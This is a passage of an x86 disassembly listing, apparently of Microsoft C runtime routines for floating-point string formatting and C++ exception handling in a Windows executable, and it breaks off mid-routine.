		fnstsw	ax
		sahf
		jbe	short loc_41C842
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_41C842:				; CODE XREF: sub_41C808+33j
		xor	eax, eax
		leave
		retn
sub_41C808	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C846	proc near		; CODE XREF: sub_417D73+5p
		push	offset aKernel32 ; "KERNEL32"
		call	near ptr 2740D6Eh
		nop
		test	eax, eax
		jz	short loc_41C86A
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		call	near ptr 2710000h
		nop
		test	eax, eax
		jz	short loc_41C86A
		push	0
		call	eax
		retn
; ---------------------------------------------------------------------------


loc_41C86A:				; CODE XREF: sub_41C846+Dj
					; sub_41C846+1Dj
		jmp	sub_41C808
sub_41C846	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C86F	proc near		; CODE XREF: sub_419E38+3CBp
					; DATA XREF: sub_417D8B+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_419101
		cmp	eax, 65h
		pop	ecx
		jz	short loc_41C8AF


loc_41C883:				; CODE XREF: sub_41C86F+3Ej
		inc	esi
		cmp	dword_433E7C, 1
		jle	short loc_41C89C
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41C8AB
; ---------------------------------------------------------------------------


loc_41C89C:				; CODE XREF: sub_41C86F+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_433C70
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_41C8AB:				; CODE XREF: sub_41C86F+2Bj
		test	eax, eax
		jnz	short loc_41C883


loc_41C8AF:				; CODE XREF: sub_41C86F+12j
		mov	cl, byte_433E80
		mov	al, [esi]
		mov	[esi], cl
		inc	esi


loc_41C8BA:				; CODE XREF: sub_41C86F+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_41C8BA
		pop	esi
		retn
sub_41C86F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C8C9	proc near		; CODE XREF: sub_419E38+3E2p
					; DATA XREF: sub_417D8B+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_433E80
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41C8E5


loc_41C8D9:				; CODE XREF: sub_41C8C9+1Aj
		cmp	cl, dl
		jz	short loc_41C8E5
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_41C8D9


loc_41C8E5:				; CODE XREF: sub_41C8C9+Ej
					; sub_41C8C9+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_41C916


loc_41C8EC:				; CODE XREF: sub_41C8C9+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41C8FF
		cmp	cl, 65h
		jz	short loc_41C8FF
		cmp	cl, 45h
		jz	short loc_41C8FF
		inc	eax
		jmp	short loc_41C8EC
; ---------------------------------------------------------------------------


loc_41C8FF:				; CODE XREF: sub_41C8C9+27j
					; sub_41C8C9+2Cj ...
		mov	ecx, eax


loc_41C901:				; CODE XREF: sub_41C8C9+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_41C901
		cmp	[eax], dl
		jnz	short loc_41C90C
		dec	eax


loc_41C90C:				; CODE XREF: sub_41C8C9+40j
					; sub_41C8C9+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_41C90C

locret_41C916:				; CODE XREF: sub_41C8C9+21j
		retn
sub_41C8C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C917	proc near		; DATA XREF: sub_417D8B+28o
					; ___:off_435FE0o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_424818
		fnstsw	ax
		sahf
		jb	short loc_41C92C
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41C92C:				; CODE XREF: sub_41C917+Fj
		xor	eax, eax
		retn
sub_41C917	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C92F	proc near		; CODE XREF: sub_41D797+430p
					; DATA XREF: sub_417D8B+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_41C958
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_42067A
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41C958:				; CODE XREF: sub_41C92F+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_4206A7
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_41C92F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C96D	proc near		; CODE XREF: sub_41CBEA+17p
					; sub_41CC34+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_4CDA24, 0
		push	ebx
		push	esi
		jz	short loc_41C9A2
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_4CDA20
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_41CC85
		pop	ecx
		pop	ecx
		jmp	short loc_41C9DA
; ---------------------------------------------------------------------------


loc_41C9A2:				; CODE XREF: sub_41C96D+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_42074B
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_4206D4
		add	esp, 14h


loc_41C9DA:				; CODE XREF: sub_41C96D+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_41C9E6
		mov	byte ptr [eax],	2Dh
		inc	eax


loc_41C9E6:				; CODE XREF: sub_41C96D+73j
		test	ebx, ebx
		jle	short loc_41C9FE
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_433E80
		mov	eax, edi
		pop	edi
		mov	[eax], cl


loc_41C9FE:				; CODE XREF: sub_41C96D+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_4CDA24, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_4179C0
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_41CA25
		mov	byte ptr [ecx],	45h


loc_41CA25:				; CODE XREF: sub_41C96D+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_41CA6A
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_41CA39
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_41CA39:				; CODE XREF: sub_41C96D+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_41CA50
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_41CA50:				; CODE XREF: sub_41C96D+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_41CA67
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_41CA67:				; CODE XREF: sub_41C96D+E7j
		add	[ecx+1], bl


loc_41CA6A:				; CODE XREF: sub_41C96D+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41C96D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CA71	proc near		; CODE XREF: sub_41CC11+13p
					; sub_41CC34+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_4CDA24, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_41CAAC
		mov	eax, dword_4CDA28
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_4CDA20
		cmp	eax, ebx
		jnz	short loc_41CADC
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_41CADC
; ---------------------------------------------------------------------------


loc_41CAAC:				; CODE XREF: sub_41CA71+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_42074B
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_4206D4
		add	esp, 14h


loc_41CADC:				; CODE XREF: sub_41CA71+22j
					; sub_41CA71+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_41CAEA
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]


loc_41CAEA:				; CODE XREF: sub_41CA71+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_41CB01
		push	1
		push	edi
		call	sub_41CC85
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_41CB03
; ---------------------------------------------------------------------------


loc_41CB01:				; CODE XREF: sub_41CA71+7Ej
		add	edi, eax


loc_41CB03:				; CODE XREF: sub_41CA71+8Ej
		test	ebx, ebx
		jle	short loc_41CB48
		push	1
		push	edi
		call	sub_41CC85
		mov	al, byte_433E80
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_41CB48
		cmp	byte_4CDA24, 0
		jz	short loc_41CB2D
		neg	esi
		jmp	short loc_41CB33
; ---------------------------------------------------------------------------


loc_41CB2D:				; CODE XREF: sub_41CA71+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_41CB35


loc_41CB33:				; CODE XREF: sub_41CA71+BAj
		mov	ebx, esi


loc_41CB35:				; CODE XREF: sub_41CA71+C0j
		push	ebx
		push	edi
		call	sub_41CC85
		push	ebx
		push	30h
		push	edi
		call	sub_417330
		add	esp, 14h


loc_41CB48:				; CODE XREF: sub_41CA71+94j
					; sub_41CA71+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41CA71	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CB4F	proc near		; CODE XREF: sub_41CC34+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_42074B
		mov	dword_4CDA20, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_4CDA28, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_4206D4
		mov	eax, dword_4CDA20
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_4CDA28, ecx
		setl	cl
		mov	byte_4CDA2C, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_4CDA28, eax
		jl	short loc_41CBD5
		cmp	eax, ebx
		jge	short loc_41CBD5
		test	cl, cl
		jz	short loc_41CBC6


loc_41CBBC:				; CODE XREF: sub_41CB4F+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_41CBBC
		and	[esi-2], al


loc_41CBC6:				; CODE XREF: sub_41CB4F+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_41CC11
		add	esp, 0Ch
		jmp	short loc_41CBE5
; ---------------------------------------------------------------------------


loc_41CBD5:				; CODE XREF: sub_41CB4F+63j
					; sub_41CB4F+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_41CBEA
		add	esp, 10h


loc_41CBE5:				; CODE XREF: sub_41CB4F+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41CB4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CBEA	proc near		; CODE XREF: sub_41CB4F+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_4CDA24, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41C96D
		and	byte_4CDA24, 0
		add	esp, 10h
		retn
sub_41CBEA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC11	proc near		; CODE XREF: sub_41CB4F+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_4CDA24, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41CA71
		and	byte_4CDA24, 0
		add	esp, 0Ch
		retn
sub_41CC11	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CC34	proc near		; CODE XREF: sub_419E38+3AAp
					; DATA XREF: sub_417D8Bo ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_41CC6F
		cmp	[ebp+arg_8], 45h
		jz	short loc_41CC6F
		cmp	[ebp+arg_8], 66h
		jnz	short loc_41CC5C
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41CA71
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41CC5C:				; CODE XREF: sub_41CC34+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41CB4F
		jmp	short loc_41CC80
; ---------------------------------------------------------------------------


loc_41CC6F:				; CODE XREF: sub_41CC34+7j
					; sub_41CC34+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41C96D


loc_41CC80:				; CODE XREF: sub_41CC34+39j
		add	esp, 10h
		pop	ebp
		retn
sub_41CC34	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC85	proc near		; CODE XREF: sub_41C96D+2Cp
					; sub_41CA71+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_41CCA8
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_417AB0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_4182C0
		add	esp, 10h
		pop	esi


loc_41CCA8:				; CODE XREF: sub_41CC85+7j
		pop	edi
		retn
sub_41CC85	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CCAA	proc near		; CODE XREF: ___:00417F6Cp
					; sub_417FD5+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_41CCC0
		call	sub_41D552


loc_41CCC0:				; CODE XREF: sub_41CCAA+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_41CCE8
		cmp	dword ptr [esi+4], 0
		jz	short loc_41CD3E
		cmp	[ebp+arg_14], 0
		jnz	short loc_41CD3E
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_41CFF1
		add	esp, 10h
		jmp	short loc_41CD3E
; ---------------------------------------------------------------------------


loc_41CCE8:				; CODE XREF: sub_41CCAA+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_41CD3E
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41CD22
		cmp	[eax+14h], edi
		jbe	short loc_41CD22
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_41CD22
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_41CD41
; ---------------------------------------------------------------------------


loc_41CD22:				; CODE XREF: sub_41CCAA+4Aj
					; sub_41CCAA+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_41CD45
		add	esp, 20h


loc_41CD3E:				; CODE XREF: sub_41CCAA+23j
					; sub_41CCAA+29j ...
		push	1
		pop	eax


loc_41CD41:				; CODE XREF: sub_41CCAA+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41CCAA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CD45	proc near		; CODE XREF: sub_41CCAA+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_41CD65
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_41CD6A


loc_41CD65:				; CODE XREF: sub_41CD45+16j
		call	sub_41D552


loc_41CD6A:				; CODE XREF: sub_41CD45+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_41CEC1
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_41CDDE
		cmp	[esi+14h], edi
		jnz	short loc_41CDDE
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_41CDDE
		mov	esi, dword_4CDA30
		test	esi, esi
		jz	loc_41CEBC
		mov	eax, dword_4CDA34
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_4208D2
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41CDC0
		call	sub_41D552


loc_41CDC0:				; CODE XREF: sub_41CD45+74j
		cmp	[esi], ebx
		jnz	loc_41CEC1
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_41CDDE
		cmp	[esi+14h], edi
		jnz	short loc_41CDDE
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_41CDDE
		call	sub_41D552


loc_41CDDE:				; CODE XREF: sub_41CD45+41j
					; sub_41CD45+46j ...
		cmp	[esi], ebx
		jnz	loc_41CEC1
		cmp	dword ptr [esi+10h], 3
		jnz	loc_41CEC1
		cmp	[esi+14h], edi
		jnz	loc_41CEC1
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_418123
		add	esp, 14h
		mov	ebx, eax


loc_41CE15:				; CODE XREF: sub_41CD45+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_41CEAC
		cmp	[ebx], edi
		jg	short loc_41CEA1
		cmp	edi, [ebx+4]
		jg	short loc_41CEA1
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_41CE9E


loc_41CE3A:				; CODE XREF: sub_41CD45+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_41CE6B


loc_41CE4C:				; CODE XREF: sub_41CD45+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_41CF94
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41CE7A
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_41CE4C


loc_41CE6B:				; CODE XREF: sub_41CD45+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_41CE3A
		jmp	short loc_41CE9E
; ---------------------------------------------------------------------------


loc_41CE7A:				; CODE XREF: sub_41CD45+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_41D0A5
; ---------------------------------------------------------------------------
		add	esp, 2Ch


loc_41CE9E:				; CODE XREF: sub_41CD45+F3j
					; sub_41CD45+133j
		mov	edi, [ebp+var_10]


loc_41CEA1:				; CODE XREF: sub_41CD45+DEj
					; sub_41CD45+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_41CE15
; ---------------------------------------------------------------------------


loc_41CEAC:				; CODE XREF: sub_41CD45+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_41CEBC
		push	1
		push	esi
		call	sub_41D41A
		pop	ecx
		pop	ecx


loc_41CEBC:				; CODE XREF: sub_41CD45+56j
					; sub_41CD45+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41CEC1:				; CODE XREF: sub_41CD45+37j
					; sub_41CD45+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_41CEE7
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_41CEEC
		add	esp, 20h
		jmp	short loc_41CEBC
; ---------------------------------------------------------------------------


loc_41CEE7:				; CODE XREF: sub_41CD45+180j
		jmp	sub_41D4FC
sub_41CD45	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CEEC	proc near		; CODE XREF: sub_41CD45+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_4CDA38, 0
		push	esi
		push	edi
		jz	short loc_41CF1D
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_417FFA
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41CF90


loc_41CF1D:				; CODE XREF: sub_41CEEC+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_418123
		add	esp, 14h
		mov	esi, eax


loc_41CF39:				; CODE XREF: sub_41CEEC+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_41CF90
		cmp	edi, [esi]
		jl	short loc_41CF88
		cmp	edi, [esi+4]
		jg	short loc_41CF88
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_41CF62
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_41CF88


loc_41CF62:				; CODE XREF: sub_41CEEC+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41D0A5
; ---------------------------------------------------------------------------
		add	esp, 2Ch


loc_41CF88:				; CODE XREF: sub_41CEEC+57j
					; sub_41CEEC+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_41CF39
; ---------------------------------------------------------------------------


loc_41CF90:				; CODE XREF: sub_41CEEC+2Fj
					; sub_41CEEC+53j
		pop	edi
		pop	esi
		leave
		retn
sub_41CEEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CF94	proc near		; CODE XREF: sub_41CD45+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_41CFEB
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_41CFEB
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_41CFC5
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41CFE7


loc_41CFC5:				; CODE XREF: sub_41CF94+1Fj
		test	byte ptr [esi],	2
		jz	short loc_41CFCF
		test	byte ptr [edi],	8
		jz	short loc_41CFE7


loc_41CFCF:				; CODE XREF: sub_41CF94+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_41CFDE
		test	byte ptr [edi],	1
		jz	short loc_41CFE7


loc_41CFDE:				; CODE XREF: sub_41CF94+43j
		test	al, 2
		jz	short loc_41CFEB
		test	byte ptr [edi],	2
		jnz	short loc_41CFEB


loc_41CFE7:				; CODE XREF: sub_41CF94+2Fj
					; sub_41CF94+39j ...
		xor	eax, eax
		jmp	short loc_41CFEE
; ---------------------------------------------------------------------------


loc_41CFEB:				; CODE XREF: sub_41CF94+Bj
					; sub_41CF94+14j ...
		push	1
		pop	eax


loc_41CFEE:				; CODE XREF: sub_41CF94+55j
		pop	edi
		pop	esi
		retn
sub_41CF94	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CFF1	proc near		; CODE XREF: sub_41CCAA+34p
					; ___:0041D0E7p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424860
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]


loc_41D023:				; CODE XREF: sub_41CFF1+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_41D07D
		cmp	esi, 0FFFFFFFFh
		jle	short loc_41D032
		cmp	esi, [edi+4]
